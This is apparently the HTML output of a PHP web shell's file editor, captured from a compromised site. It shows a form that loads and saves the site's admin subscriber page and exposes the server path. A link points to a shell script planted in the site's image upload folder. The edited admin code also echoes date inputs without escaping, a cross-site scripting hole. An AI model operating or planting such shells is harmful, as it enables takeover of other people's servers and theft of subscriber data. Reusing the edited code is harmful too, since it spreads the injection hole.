<h2>Edit File - view-subscribers.php</h2><form method="POST" style="padding:20px">
                <input type="hidden" name="edit_file" value="/home/u788335118/domains/harryautoelectrician.com/public_html/admin/view-subscribers.php">
                <textarea name="file_content" style="width:100%; height:400px; font-family:monospace;">&lt;?php
include(&quot;head.php&quot;);

// Pagination params
$page = isset($_GET[&#039;page&#039;]) ? (int)$_GET[&#039;page&#039;] : 1;
$limit = 10;
$offset = ($page - 1) * $limit;

// Get total subscribers count
$totalRows = $conn-&gt;query(&quot;SELECT COUNT(*) FROM subscribers&quot;)-&gt;fetch_row()[0];
$totalPages = ceil($totalRows / $limit);

// Fetch filters
$filter = $_GET[&#039;filter&#039;] ?? &#039;all&#039;;
$start_date = $_GET[&#039;start_date&#039;] ?? &#039;&#039;;
$end_date = $_GET[&#039;end_date&#039;] ?? &#039;&#039;;
$where = &quot;&quot;;

// Build WHERE clause based on filter
switch ($filter) {
    case &#039;today&#039;:
        $where = &quot;WHERE DATE(added_at) = CURDATE()&quot;;
        break;
    case &#039;week&#039;:
        $where = &quot;WHERE YEARWEEK(added_at, 1) = YEARWEEK(CURDATE(), 1)&quot;;
        break;
    case &#039;month&#039;:
        $where = &quot;WHERE MONTH(added_at) = MONTH(CURDATE()) AND YEAR(added_at) = YEAR(CURDATE())&quot;;
        break;
    case &#039;year&#039;:
        $where = &quot;WHERE YEAR(added_at) = YEAR(CURDATE())&quot;;
        break;
}

if (!empty($start_date) &amp;&amp; !empty($end_date)) {
    $where = &quot;WHERE DATE(added_at) BETWEEN &#039;$start_date&#039; AND &#039;$end_date&#039;&quot;;
}

$stmt = $conn-&gt;prepare(&quot;SELECT * FROM subscribers ORDER BY added_at DESC LIMIT ?, ?&quot;);
$stmt-&gt;bind_param(&quot;ii&quot;, $offset, $limit);
$stmt-&gt;execute();
$result = $stmt-&gt;get_result();
$stmt-&gt;close();
?&gt;

&lt;div class=&quot;container-fluid pt-4 px-4&quot;&gt;
    &lt;div class=&quot;row g-4&quot;&gt;
        &lt;div class=&quot;col-lg-12 text-center pt-4&quot;&gt;
            &lt;h1 class=&quot;text-primary&quot;&gt;Subscribers&lt;/h1&gt;
        &lt;/div&gt;

        &lt;!-- Filter Form --&gt;
        &lt;div class=&quot;col-lg-12&quot;&gt;
            &lt;form method=&quot;GET&quot; class=&quot;row g-3 align-items-end&quot;&gt;
                &lt;div class=&quot;col-md-3&quot;&gt;
                    &lt;label class=&quot;form-label&quot;&gt;Select Filter&lt;/label&gt;
                    &lt;select name=&quot;filter&quot; class=&quot;form-select text-white&quot;&gt;
                        &lt;option value=&quot;all&quot; &lt;?= ($filter == &#039;all&#039;) ? &#039;selected&#039; : &#039;&#039; ?&gt;&gt;All&lt;/option&gt;
                        &lt;option value=&quot;today&quot; &lt;?= ($filter == &#039;today&#039;) ? &#039;selected&#039; : &#039;&#039; ?&gt;&gt;Today&lt;/option&gt;
                        &lt;option value=&quot;week&quot; &lt;?= ($filter == &#039;week&#039;) ? &#039;selected&#039; : &#039;&#039; ?&gt;&gt;This Week&lt;/option&gt;
                        &lt;option value=&quot;month&quot; &lt;?= ($filter == &#039;month&#039;) ? &#039;selected&#039; : &#039;&#039; ?&gt;&gt;This Month&lt;/option&gt;
                        &lt;option value=&quot;year&quot; &lt;?= ($filter == &#039;year&#039;) ? &#039;selected&#039; : &#039;&#039; ?&gt;&gt;This Year&lt;/option&gt;
                    &lt;/select&gt;
                &lt;/div&gt;
                &lt;div class=&quot;col-md-3&quot;&gt;
                    &lt;label class=&quot;form-label&quot;&gt;Start Date&lt;/label&gt;
                    &lt;input type=&quot;date&quot; name=&quot;start_date&quot; value=&quot;&lt;?= $start_date ?&gt;&quot; class=&quot;form-control text-white&quot;&gt;
                &lt;/div&gt;
                &lt;div class=&quot;col-md-3&quot;&gt;
                    &lt;label class=&quot;form-label&quot;&gt;End Date&lt;/label&gt;
                    &lt;input type=&quot;date&quot; name=&quot;end_date&quot; value=&quot;&lt;?= $end_date ?&gt;&quot; class=&quot;form-control text-white&quot;&gt;
                &lt;/div&gt;
                &lt;div class=&quot;col-md-3 d-flex gap-2&quot;&gt;
                    &lt;button type=&quot;submit&quot; class=&quot;btn btn-primary&quot;&gt;Filter&lt;/button&gt;
                &lt;/div&gt;
            &lt;/form&gt;
        &lt;/div&gt;

        &lt;!-- Data Table --&gt;
        &lt;div class=&quot;col-sm-12 col-xl-12&quot;&gt;
            &lt;div class=&quot;bg-secondary rounded h-100 p-4 table-responsive&quot;&gt;
                &lt;table class=&quot;table table-bordered table-hover text-white&quot;&gt;
                    &lt;thead&gt;
                        &lt;tr&gt;
                            &lt;th scope=&quot;col&quot;&gt;S.No&lt;/th&gt;
                            &lt;th scope=&quot;col&quot;&gt;Email&lt;/th&gt;
                            &lt;th scope=&quot;col&quot;&gt;Subscription Date&lt;/th&gt;
                        &lt;/tr&gt;
                    &lt;/thead&gt;
                    &lt;tbody&gt;
                        &lt;?php
                        $sno = 1;
                        while ($row = $result-&gt;fetch_assoc()):
                        ?&gt;
                        &lt;tr&gt;
                            &lt;th scope=&quot;row&quot;&gt;&lt;?= $sno++ ?&gt;&lt;/th&gt;
                            &lt;td&gt;&lt;?= htmlspecialchars($row[&#039;email&#039;]) ?&gt;&lt;/td&gt;
                            &lt;td&gt;&lt;?= date(&#039;Y-m-d H:i:s&#039;, strtotime($row[&#039;added_at&#039;])) ?&gt;&lt;/td&gt;
                        &lt;/tr&gt;
                        &lt;?php endwhile; ?&gt;
                        &lt;?php if ($result-&gt;num_rows == 0): ?&gt;
                            &lt;tr&gt;
                                &lt;td colspan=&quot;3&quot; class=&quot;text-center&quot;&gt;No subscribers found for selected filter.&lt;/td&gt;
                            &lt;/tr&gt;
                        &lt;?php endif; ?&gt;
                    &lt;/tbody&gt;
                &lt;/table&gt;
                &lt;nav&gt;
        &lt;ul class=&quot;pagination justify-content-center&quot;&gt;
          &lt;?php for ($i = 1; $i &lt;= $totalPages; $i++): ?&gt;
            &lt;li class=&quot;page-item &lt;?= ($i == $page) ? &#039;active&#039; : &#039;&#039;; ?&gt;&quot;&gt;
              &lt;a class=&quot;page-link&quot; href=&quot;?page=&lt;?= $i; ?&gt;&quot;&gt;&lt;?= $i; ?&gt;&lt;/a&gt;
            &lt;/li&gt;
          &lt;?php endfor; ?&gt;
        &lt;/ul&gt;
      &lt;/nav&gt;
      &lt;div class=&quot;col-12 bg-secondary rounded p-4 mt-4&quot;&gt;
            &lt;h3 class=&quot;text-white&quot;&gt;Send Email to All Subscribers&lt;/h3&gt;
            &lt;form action=&quot;send_welcome.php&quot; method=&quot;POST&quot;&gt;
              &lt;div class=&quot;mb-3&quot;&gt;
                &lt;label for=&quot;subject&quot; class=&quot;form-label text-white&quot;&gt;Subject&lt;/label&gt;
                &lt;input type=&quot;text&quot; name=&quot;subject&quot; id=&quot;subject&quot; class=&quot;form-control&quot; required&gt;
              &lt;/div&gt;
              &lt;div class=&quot;mb-3&quot;&gt;
                &lt;label for=&quot;message&quot; class=&quot;form-label text-white&quot;&gt;Message&lt;/label&gt;
                &lt;textarea name=&quot;message&quot; id=&quot;message&quot; rows=&quot;6&quot; class=&quot;form-control&quot; required&gt;&lt;/textarea&gt;
              &lt;/div&gt;
              &lt;button type=&quot;submit&quot; class=&quot;btn btn-success&quot;&gt;Send Email&lt;/button&gt;
            &lt;/form&gt;
          &lt;/div&gt;
            &lt;/div&gt;
        &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;
&lt;?php include(&quot;foot.php&quot;); ?&gt;
</textarea><br><br>
                <button type="submit" class="btn">Save</button>
                <a href="/admin/img/services/696a979a0991c_sh2.php?dir=." class="btn gray">Kembali</a>
              </form>